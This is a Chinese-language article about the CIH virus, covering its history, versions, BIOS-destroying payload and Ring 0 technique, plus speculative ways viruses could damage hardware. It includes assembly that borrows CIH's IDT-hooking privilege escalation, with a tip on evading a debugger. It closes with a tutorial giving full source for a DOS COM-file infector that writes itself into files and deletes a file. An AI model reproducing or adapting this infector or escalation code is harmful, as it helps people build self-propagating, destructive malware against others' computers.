CIH病毒是否可以破壞電腦硬體嗎

CIH病毒是否可以破壞電腦硬體嗎?下面請看小編娓娓道來。希望對大家有用。

CIH病毒是否可以破壞電腦硬體嗎

  CIH病毒的由來

CIH首先在臺灣被發現,根據臺北官方的報告,計算機病毒是由24歲的陳盈豪(Chen Ing-Halu)編制的,由於其名字第一個字母分別為C、I、H,所以這可能是計算機病毒名稱的由來。

  CIH病毒的簡介

它是迄今為止發現的最陰險的病毒之一。它發作時不僅破壞硬碟的引導區和分割槽表,而且破壞計算機系統flashBIOS晶片中的系統程式,導致主機板損壞。CIH病毒是發現的首例直接破壞計算機系統硬體的病毒。 CIH病毒的發展歷程

  CIH病毒v1.0版本:

最初的V1.0版本僅僅只有656位元組,其雛形顯得比較簡單,與普通型別的病毒在結構上並無多大的改善,其最大的"賣點"是在於其是當時為數不多的、可感染Microsoft Windows PE類可執行檔案的病毒之一, 被其感染的程式檔案長度增加,此版本的CIH不具有破壞性。

  CIH病毒v1.1版本:

當其發展到v1.1版本時,病毒長度為796位元組,此版本的CIH病毒具有可判斷WinNT軟體的功能,一旦判斷使用者執行的是WinNT,則不發生作用,進行自我隱藏,以避免產生錯誤提示資訊,同時使用了更加優化的程式碼,以縮減其長度。此版本的CIH另外一個優秀點在於其可以利用WIN PE類可執行檔案中的"空隙",將自身根據需要分裂成幾個部分後,分別插入到PE類可執行檔案中,這樣做的優點是在感染大部分WINPE類檔案時, 不會導致檔案長度增加。 CIH病毒v1.2版本:

當其發展到v1.2版本時,除了改正了一些v1.1版本的缺陷之外,同時增加了破壞使用者硬碟以及使用者主機 BIOS程式的程式碼,這一改進,使其步入惡性病毒的行列,此版本的CIH病毒體長度為1003位元組。

  CIH病毒v1.3版本:

原先v1.2版本的CIH病毒最大的缺陷在於當其感染ZIP自解壓包檔案(ZIP self-extractors file)時,將導致此ZIP壓縮包在自解壓時出現:

WinZip Self-Extractor header corrupt.

Possible cause: disk or file transfer error.

的錯誤警告資訊。v1.3版本的CIH病毒顯得比較倉促,其改進點便是針對以上缺陷的,它的改進方法是:一旦判斷開啟的檔案是WinZip類的自解壓程式,則不進行感染。同時,此版本的CIH病毒修改了發作時間。v1.3 版本的CIH病毒長度為1010位元組。

  CIH病毒v1.4版本:

此版本的CIH病毒改進上上幾個版本中的缺陷,不感染ZIP 自解壓包檔案,同時修改了發作日期及病毒中的版權資訊(版本資訊被更改為:"CIH v1.4 TATUNG",在以前版本中的相關資訊為"CIH v1.x TTIT"),此版本的長度為1019位元組。

從上面的說明中,我們可以看出,實際上,在CIH的相關版本中,只有v1.2、v1.3、v1.4這3 個版本的病毒具有實際的破壞性,其中v1.2版本的CIH病毒發作日期為每年的4月26日,這也就是當前最流行的病毒版本,v1.3 版本的發作日期為每年的6月26日,而CIH v1.4版本的發作日期則被修改為每月的26日,這一改變大大縮短了發作期限,增加了其的破壞性。CIH的特徵和行蹤

來自權威部門的訊息說,CIH是一個純粹的Windows95/98病毒,這個病毒很獨特地使用了 WindowsVxD(虛擬裝置驅動程式)技術;該病毒發作時,硬碟一直轉個不停,所有資料都被破壞,硬碟分割槽資訊也將丟失;再有就是 CIH病毒發作時也可能會破壞某些型別的主機板上的電可改寫只讀儲存器(E2PROM)的BIOS。BIOS即電腦中的"基本輸入/輸出系統", 存放的是系統最基本的硬體引數和驅動程式,一旦被破壞則系統根本無法啟動,唯一的修復途徑就是送回廠家重新燒入BIOS。此時如果使用者不想送回廠家"重燒",而使用BIOS升級軟體重新燒入BIOS,升級軟體將報告"E2PROM型號不對"的錯誤。這就是說, CIH病毒已具備了對硬體的相當破壞能力,它可以徹底摧毀計算機。 一般使用者都知道,傳統意義上的病毒破壞的是資料而非硬體。因此,經常進行資料備份與軟體更新,能夠一定程度上防止資料檔案被病毒破壞,而且即使檔案被傳染病毒,也可使用反病毒軟體加以清除,至少可以盡最大可能恢復系統。防病毒專家認為,威脅到計算機硬體的 CIH的出現,意味著病毒與反病毒的技術較量已開始發生質的改變。"根據初步跟蹤分析,CIH病毒是從海外傳入內地的"北京冠群金辰軟體有限公司反病毒專家王鐵肩介紹說: "目前該病毒的傳播主要通過網際網路和電子郵件,當然隨著時間的推移,其傳播主要還是通過軟盤或光碟。"據權威病毒蒐集網獲得的資訊, CIH病毒"原體"加"變種"一共有五種,它們的相互區別在於"原體"會使受感染檔案增長,但不具破壞力;而"變種"不增長受感染檔案,但有很強的破壞性CIH 病毒原理的應用--實體記憶體的讀寫 Windows 95/98應用程式無法直接讀寫實體記憶體,如果使用VxD程式設計,可以呼叫VMM功能_MapPhysToLinear 將實體地址對映到線性地址再進行修改,但是這樣就必須單獨寫一個VxD,比較麻煩,那麼能不能在應用程式中直接呼叫VMM功能呢?一般不能,因為VMM功能要在Ring 0上呼叫,而一般的應用程式工作在Ring 3上,那麼為什麼CIH 病毒能夠呼叫VMM功能呢,CIH病毒使用了一種技術,採用Intel處理器的中斷從Ring 3轉到Ring 0,我們完全可以借鑑這種技術來呼叫VMM功能, 下面的程式演示瞭如何修改實體記憶體--以在Windows 95加密程式中修改加密扇區大小(實體地址0000:0525H)為例:

;****************************************************************************

;* Windows 95加密軟體核心模組之一--磁碟扇區大小修改程式 *

;* *

;* 本程式在Windows 95下修改記憶體實體地址0000:0525 處的磁碟扇區大小位元組, *

;* 為了能夠修改實體地址,本程式使用了VMM 功能_MapPhysToLinear將實體地址對映 *

;* 到線性地址進行修改。為了在應用程式中呼叫VMM 功能,本程式使用了CIH 病毒的 *

;* 原理,使用中斷將系統由Ring 3轉到Ring 0,然後呼叫VMM 功能。 *

;* 本程式中的過程ChangeSectorSize在VC中的原型可以寫成: *

;* *

;* void _stdcall ChangeSectorSize(BYTE SectorSize); *

;****************************************************************************

.386p

l flat,stdcall

;修改的中斷號,如果本中斷號改成3則可以防止Soft-ICE跟蹤!

HookExceptionNo EQU 05h

IDTR_1 db 6 dup(0) ;儲存中斷描述符表暫存器

OldExceptionHook dd 0 ;儲存原先的中斷入口地址

;修改扇區大小過程

ChangeSectorSize PROC SectorSize:BYTE

push eax

;獲取修改的中斷的中斷描述符(中斷門)地址

sidt IDTR_1

mov eax,dword ptr IDTR_1+02h

add eax,HookExceptionNo*08h+04h

cli

;儲存原先的中斷入口地址

push ecx

mov ecx,dword ptr [eax]

mov cx,word ptr [eax-04h]

mov dword ptr OldExceptionHook,ecx

pop ecx

;設定修改的中斷入口地址為新的中斷處理程式入口地址

push ebx

lea ebx,NewExceptionHook

mov word ptr [eax-04h],bx

shr ebx,10h

mov word ptr [eax+02h],bx

pop ebx

;執行中斷,轉到Ring 0(與CIH 病毒原理相似!)

push ebx

mov bl,byte ptr SectorSize ;扇區大小儲存在bl暫存器中

int HookExceptionNo

pop ebx

;恢復原先的中斷入口地址

push ecx

mov ecx,dword ptr OldExceptionHook

mov word ptr [eax-04h],cx

shr ecx,10h

mov word ptr [eax+02h],cx

pop ecx

;修改扇區大小過程結束

sti

pop eax

ret

ChangeSectorSize ENDP

;新的中斷處理程式

NewExceptionHook PROC

push eax

push ebx

push ecx

push edx

push esi

;修改扇區大小

push dword ptr 00000000h ;必須為0

push dword ptr 00000001h ;位元組數

push dword ptr 00000525h ;實體地址0000:0525

int 20h

dd 0001006ch ;以上兩條指令相當於 VMMCall _MapPhysToLinear

pop esi

pop esi

pop esi

mov byte ptr [eax],bl ;修改扇區大小

;中斷處理程式結束

pop esi

pop edx

pop ecx

pop ebx

pop eax

iretd

NewExceptionHook ENDP

end

本過程可以被C語言呼叫,編譯方法:ml /c /coff 。請用MASM 6.11以上版本編譯,不需要DDK。將編譯生成的OBJ檔案插入VC的工程中,並在VC程式中寫上函式原型說明,就可以呼叫了。

  病毒是怎樣破壞硬體的

最近,CIH病毒把大家搞得人心惶惶,掀起了不小的波瀾。以前的各種病毒最多隻能破壞硬碟資料,而CIH 卻能侵入主機板上的Flash BIOS,破壞其內容而使主機板報廢。CIH的教訓告訴我們:不要輕視病毒對硬體的破壞。 很多人現在已經開始擔憂:CIH越來越凶猛,同時會不會有更多的破壞硬體的病毒出現?

其實,本人分析了一下。病毒破壞硬體的"手段",不外乎有以下幾種:

  1.破壞顯示器

眾所周知,每臺顯示器都有自已的頻寬和最高解析度、場頻。早期生產的14英寸彩色顯示器,頻寬大約只有35-45MHz,對應的最高分辯率為1024×768@60Hz場頻;目前的14英寸彩色顯示器,頻寬大都有60MHz,對應的最高解析度為1024×768@75Hz場頻;15英寸彩色顯示器(高檔的),頻寬有110MHz,對應的最高解析度為1280×1024@85Hz場頻。大家可以檢視一下顯示器的說明書,上面都有場頻與最高解析度的配合。若其中有一項超過,就會出現花屏,嚴重了就會燒壞顯示器。病毒可以通過篡改顯示引數來破壞顯示器(如把解析度、場頻改到顯示卡能支援的最高檔等)。雖然新型顯示器有DDC標準化與系統聯絡,但病毒想鑽空子並不難。所以大家如果發現在使用過程中顯示器出現了花屏, 要立即關掉顯示器的電源,重新啟動後進入安全模式再找原因。

  2.超外頻、加電壓破壞CPU、顯示卡、記憶體等

目前新型主機板採用"軟跳線"的越來越多,這正好給病毒以可乘之機。所謂"軟跳線" 是指在BIOS中就能改動CPU的電壓、外頻和倍頻。病毒可以通過改BIOS引數,加高CPU電壓使其過熱而燒壞,或提高CPU的外頻,使CPU和顯示卡、記憶體等外設超負荷工作而過熱燒壞。這類事件的前兆就是宕機。所以,如果發現機器經常宕機,就要趕緊到 CMOS中看看以上引數是否有改動。可喜的是,目前很多新出的主機板都有CPU溫度監測功能,超溫後立即降頻報警,可以基本杜絕燒壞硬體的情況發生。

  3.超"顯頻"破壞顯示卡

目前很多中高檔顯示卡如Voodoo等都可以手動改變其晶片的頻率,並且改的方法更簡單:在Windows 9x登錄檔裡改。病毒改動了"顯頻",顯示卡也就容易超負荷工作而燒壞。這種事件的前兆也是宕機。所以,宕機時也不要忽視對"顯頻"的檢查。另外還有一種減少燒壞顯示卡的可能性的辦法,那就是……(什麼?你已經安了兩個風扇了!?)

  4.破壞光碟機

光碟機中的光頭在讀不到訊號時就會加大鐳射發射功率,這樣長期下去對光碟機的壽命極為不利。有人做實驗,讓正常的光碟機不停的讀取一張劃痕很多,訊號較弱的光碟,28小時以後光碟機就完蛋了。病毒可以讓光頭走到碟片邊緣無訊號區域不停的讀盤,結果光頭讀不到訊號,便加大發射功率不停地讀,要不了幾天,光碟機就要"No Disc"了。 所以要經常注意光碟機燈的閃亮情況,判斷光碟機是否在正常工作。

  5.破壞主機板、顯示卡的Flash BIOS

這就是現在的CIH病毒破壞主機板的方式。病毒用亂碼沖掉了BIOS中的內容,使機器不能啟動。 不過現在很多主機板都有帶有Flash BIOS防寫跳線,可以有效的防止CIH病毒破壞主機板。但是不要忘了,很多顯示卡也有Flash BIOS, 說不定哪一天就會冒出一種破壞顯示卡BIOS的病毒。所以還是小心一點為好,這可沒有什麼特效藥啊!6.破壞硬碟

大家都知道,分割槽、高階格式化對硬碟都沒有什麼損傷,惟獨低階格式化對硬碟的壽命有較大的影響。據說硬碟做上10次低階格式化就會報廢。如果出現一種病毒,不停的對硬碟的0磁軌做低格式化(做10次最多隻需用幾秒鐘!),0道壞了再做1道……你的硬碟容量就會一點一點(這一點好不小啊!)地被蠶食,而且0、1、2……道壞了,要想再使用該硬碟,就得在BIOS中重新設定起始磁軌,再低階格式化,非常麻煩。其實,該病毒有一個非常簡單而有效的預防方法,那就是將BIOS中的Boot Sector Virus Protection(引導區病毒防寫)設為Enable(開啟)。筆者做過實驗,將上述開關開啟的情況下,使用各種低階格式化軟體(包括BIOS中自帶的)對硬碟進行低格,BIOS都會報警(報告說有程式企圖重寫引導區,問是否繼續),按N就可以防止。要知道BIOS程式掌管著系統的最高控制權, 應該沒有什麼東西可以衝破其防線(你按Y是另外一回事)。若發現上述情況,趕緊Reset,然後進行防毒不過,如果你是在裝Win 98等作業系統或System Commander等軟體時碰到該情況,就大可不必理會它,困為這些軟體安裝時都有要重寫引導區。不過勸你安裝這些軟體時最好先把防寫關掉,否則容易出現宕機現象!

7.浪費噴墨印表機的墨水噴墨印表機的噴頭特別容易堵塞,為此印表機公司特別發明了專門浪費墨水的"清洗噴頭"功能,即讓大量墨水衝出噴頭,清除雜物。這項功能可以用軟體控制實現,於是乎病毒便神不知鬼不覺的一次次呼叫該功能,而你卻對印表機的呻吟聲卻聽而不見。當你發現時,大量的墨已經被浪費了。這種病毒唯一的預防辦法就是……不用印表機時把印表機關了。

其實,只要你常注意一下印表機上的模式燈就可以了,清洗噴頭時它通常是一閃閃的。另外還要仔細傾聽它的呻吟聲,清洗噴頭時列印頭總是要來回走動幾下的(為了加熱)。 一口氣寫了7條,其實大家心裡明白,破壞硬體的歪點子多著呢!本文只是想為剛從CIH陰影中爬出的朋友提個醒:成功之路千萬條(當然是編病毒者的成功),打死CIH,還有後來者。千萬要發揚各種精神, 保護你的血汗錢築成的電腦!

另外,本文中幾乎每一條都有附預防辦法(雖然有些看起來像廢話),但這些辦法也不是萬能的(還要注意不能顧此失彼),以後誰的"雞"若被新病毒搞壞了,我可不負責任喲! CIH是使用什麼方法進行感染的? 就技巧而言,其原理主要是使用Windows的VxD(虛擬裝置驅動程式)程式設計方法,使用這一方法的.目的是獲取高的CPU許可權,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中斷描述符表基地址),然後把IDT的INT 3的入口地址改為指向CIH自己的INT3程式入口部分,再利用自己產生一個INT 3指令執行至此CIH自身的INT 3入口程式 出,這樣CIH病毒就可以獲得最高級別的許可權(即許可權0),接著病毒將檢查DR0暫存器的值是否為0,用以判斷先前是否有CIH病毒已經駐留。

如DR0的值不為0,則表示CIH病毒程式已駐留,則此CIH副本將恢復原先的INT 3入口,然後正常退出(這一特點也可以被我們利用來欺騙CIH程式,以防止它駐留在記憶體中,但是應當防止其可能的後繼派生版本)。

如果判斷DR0值為0,則CIH病毒將嘗試進行駐留,其首先將當前EBX暫存器的值賦給DR0暫存器,以生成駐留標記,然後呼叫INT 20中斷,使用VxD call Page Allocate系統呼叫,要求分配Windows系統記憶體(system memory),Windows系統記憶體地址範圍為C0000000h~FFFFFFFFh,它是用來存放所有的虛擬驅動程式的記憶體區域, 如果程式想長期駐留在記憶體中,則必須申請到此區段內的記憶體,即申請到影射地址空間在C0000000h以上的記憶體。

如果記憶體申請成功,則接著將從被感染檔案中將原先分成多段的病毒程式碼收集起來,並進行組合後放到申請到 的記憶體空間中,完成組合、放置過程後,CIH病毒將再次呼叫INT 3中斷進入CIH病毒體的INT 3入口程式,接著呼叫INT20來完成呼叫一個IFSMgr_InstallFileSystemApiHook的子程式,用來在檔案系統處理函式中掛接鉤子,以擷取檔案呼叫的操作,接著修改IFSMgr_InstallFileSystemApiHook的入口,這樣就完成了掛接鉤子的工作,同時Windows預設的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。

服務程式的入口地址將被保留,以便於CIH病毒呼叫,這樣,一旦出現要求開啟檔案的呼叫,則CIH將在第一時間截獲此檔案,並判斷此檔案是否為PE格式的可執行檔案,如果是,則感染,如果不是,則放過去,將呼叫轉接給正常的Windows IFSMgr_IO服務程式。CIH不會重複多次地感染PE格式檔案,同時可執行檔案的只讀屬性是否有效,不影響感染過程,感染檔案後,檔案的日期與時間資訊將保持不變。

對於絕大多數的PE程式,其被感染後,程式的長度也將保持不變,CIH 將會把自身分成多段,插入到程式的空域中。完成駐留工作後的CIH病毒將把原先的IDT中斷表中的INT 3入口恢復成原樣。病毒的編寫是一種高深技術,真正的病毒一般都具有:傳染性、隱藏性(又稱潛伏性)、破壞性。現在的病毒種類也不少,如平常的傳染可執行檔案的病毒、巨集病毒等等。但原始的、破壞性最大的病毒還是傳染可執行檔案的病毒(像CIH病毒),而這些病毒一般都是用匯編語言編寫的。有許多人對病毒有著好奇和嚮往,但是往往又因為組合語言的難學等問題望而卻步。

這篇文章就是教給大家如何製作一個簡單的程式,這個程式雖然算不上病毒但是具有病毒的傳染性,而往往病毒的傳染性是平常人最難做到的。

好啦,現在轉入正題,先講講病毒是如何傳染的,傳染後又如何在被染的檔案中執行的,其實道理非常簡單:病毒一般將其程式碼寫入執行檔案的尾部,然後使執行檔案在執行時先執行檔案尾部的病毒程式碼,然後再跳回原始碼處執行。現在舉一個試例進行說明:

;功能:感染當前資料夾的檔案

; 並刪除當前資料夾的檔案

; 顯示預設的字串

CSEG SEGMENT

ASSUME CS:CSEG,DS:CSEG,SS:CSEG

main PROC NEAR

mainstart:

CALL vstart ;病毒的程式碼開始處

vstart:

POP SI ;得到當前地址

MOV BP,SI ;儲存當前地址

PUSH SI

MOV AH,9

ADD SI,OFFSET message-OFFSET vstart ;顯示預設字串

MOV DX,SI

INT 21h

POP SI

ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程式中的前四個位元組

MOV DI,100h ;目的地址

MOV AX,DS:[SI] ;開始複製

MOV DS:[DI],AX

INC SI

INC SI

INC DI

INC DI

MOV AX,DS:[SI]

MOV DS:[DI],AX

MOV SI,BP ;恢復地址值

MOV DX,OFFSET delname-OFFSET vstart

ADD DX,SI

MOV AH,41h

INT 21h

MOV DX,OFFSET filename-OFFSET vstart ;得到檔名

ADD DX,SI

MOV AL,02

MOV AH,3dh ;寫檔案

INT 21h

JC error

MOV BX,AX ;檔案控制代碼

MOV DX,OFFSET yuan4byte-OFFSET vstart ;讀檔案的前四個位元組

ADD DX,SI

MOV CX,4

MOV AH,3fh

INT 21h

MOV AX,4202h ;到檔案尾

XOR CX,CX

XOR DX,DX

INT 21h

MOV DI,OFFSET new4byte-OFFSET vstart ;儲存要跳的地方

ADD DI,2

ADD DI,SI

SUB AX,4

MOV DS:[DI],AX

ADD SI,OFFSET mainstart-OFFSET vstart ;準備寫入病毒

MOV DX,SI

MOV vsizes,OFFSET vends-OFFSET mainstart

MOV CX,vsizes

MOV AH,40h

INT 21h

MOV SI,BP ;定位到檔案頭

MOV AL,0

XOR CX,CX

XOR DX,DX

MOV AH,42h

INT 21h

MOV AH,40h ;將新的檔案頭寫入

MOV CX,4

MOV DX,OFFSET new4byte-OFFSET vstart

ADD DX,SI

INT 21h

MOV AH,3eh ;關閉檔案

INT 21h

error:

MOV AX,100h

PUSH AX

RET

main ENDP

yuan4byte:

RET

DB 3 DUP (?)

vsizes DW 0

new4byte DB ‘M‘,0e9h,0,0

filename DB "",0

delname DB "",0

message DB "He he he he!"

DB 0dh,0ah,"$"

vends:

start:

MOV AX,CSEG

MOV DS,AX

MOV SS,AX

CALL main

MOV AX,4c00h

INT 21h

CSEG ENDS

END start

以上就是一個簡單的可以傳染COM檔案的程式程式碼, 也是想當初我所做的具有傳染性質的第一個程式。如何???不難吧。COM檔案執行時將COM檔案內所的所有內容COPY到記憶體, 起始地址是100,然後進行執行 沒有任何有關節啦、段啦這些屬性,所以COM檔案病毒是最簡單最簡單的病毒